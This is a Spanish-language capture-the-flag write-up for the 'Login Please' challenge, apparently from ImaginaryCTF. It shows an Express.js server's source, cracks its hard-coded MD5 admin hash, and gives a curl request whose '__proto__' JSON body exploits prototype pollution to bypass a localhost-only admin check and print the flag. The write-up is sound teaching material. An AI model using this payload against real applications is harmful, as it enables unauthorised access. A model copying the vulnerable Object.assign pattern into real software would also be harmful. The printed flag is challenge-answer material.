Login Please
2 minutos de lectura
Tenemos que iniciar sesión aquí: http://puzzler7.imaginaryctf.org:5001/
:
Si inspeccionamos el código HTML de la página, veremos un comentario que apunta a /source
:
Ahora tenemos el código fuente del servidor:
const express = require('express')
const crypto = require('crypto')
function md5(text) {
return crypto.createHash('md5').update(text).digest('hex')
}
const app = express()
const users = {
guest: '084e0343a0486ff05530df6c705c8bb4',
admin: '21232f297a57a5a743894a0e4a801fc3',
'1337hacker': '2ab96390c7dbe3439de74d0c9b0b1767'
}
const localIPs = ['127.0.0.1', '::1', '::ffff:127.0.0.1']
app.use(express.urlencoded({ extended: false }))
app.use(express.json())
app.get('/', (req, res) => {
res.send(`
<form action="/login" method="POST">
<div>
<label for="username">Username: </label>
<input name="username" type="text" id="username">
</div>
<div>
<label for="password">Password: </label>
<input name="password" type="password" id="password">
</div>
<button type="submit">Login</button>
</form>
<!-- /source -->
`)
})
app.post('/login', (req, res) => {
if (req.body.username === 'admin' && !localIPs.includes(req.ip)) {
return res.end('Admin is only allowed from localhost')
}
const auth = Object.assign({}, req.body)
if (users[auth.username] === md5(auth.password)) {
if (auth.username === 'admin') {
res.end(`Welcome admin! The flag is ${process.env.FLAG}`)
} else {
res.end(`Welcome ${auth.username}!`)
}
} else {
res.end('Invalid username or password')
}
})
app.get('/source', (req, res) => {
res.sendFile(__filename)
})
app.get('/package.json', (req, res) => {
res.sendFile('package.json', { root: __dirname })
})
const port = 5001 || process.env.PORT
app.listen(port, () => {
console.log(`Server running on http://localhost:${port}`)
})
Se trata de una página web realizada en Express JS, en JavaScript (Node.js).
Vemos que las contraseñas se comprueban con MD5 con hashes hard-coded. Nos gustaría entrar como admin
, cuyo hash de contraseña es 21232f297a57a5a743894a0e4a801fc3
. Si lo metemos en crackstation.net, veremos que la contraseña también es admin
:
Pero no podemos conseguir la flag así porque nuestra IP no es 127.0.0.1
:
$ curl puzzler7.imaginaryctf.org:5001/login -d '{"username":"admin","password":"admin"}' -H 'Content-Type: application/json'
Admin is only allowed from localhost
Sin embargo, después de esa comprobación, hay una llamada a Object.assign({}, req.body)
. Aquí tenemos una vulnerabilidad de Prototype Pollution, por lo que podemos añadir propiedades por defecto a todos los objetos (más información en security.snyk.io).
Para pasar la comprobación del if
, podemos obviar los campos de username
y password
, y ponerlos como prototype para todos los objetos así:
$ curl puzzler7.imaginaryctf.org:5001/login -d '{"__proto__":{"username":"admin","password":"admin"}}' -H 'Content-Type: application/json'
Welcome admin! The flag is ictf{omg_js_why_are_you_doing_this_to_me}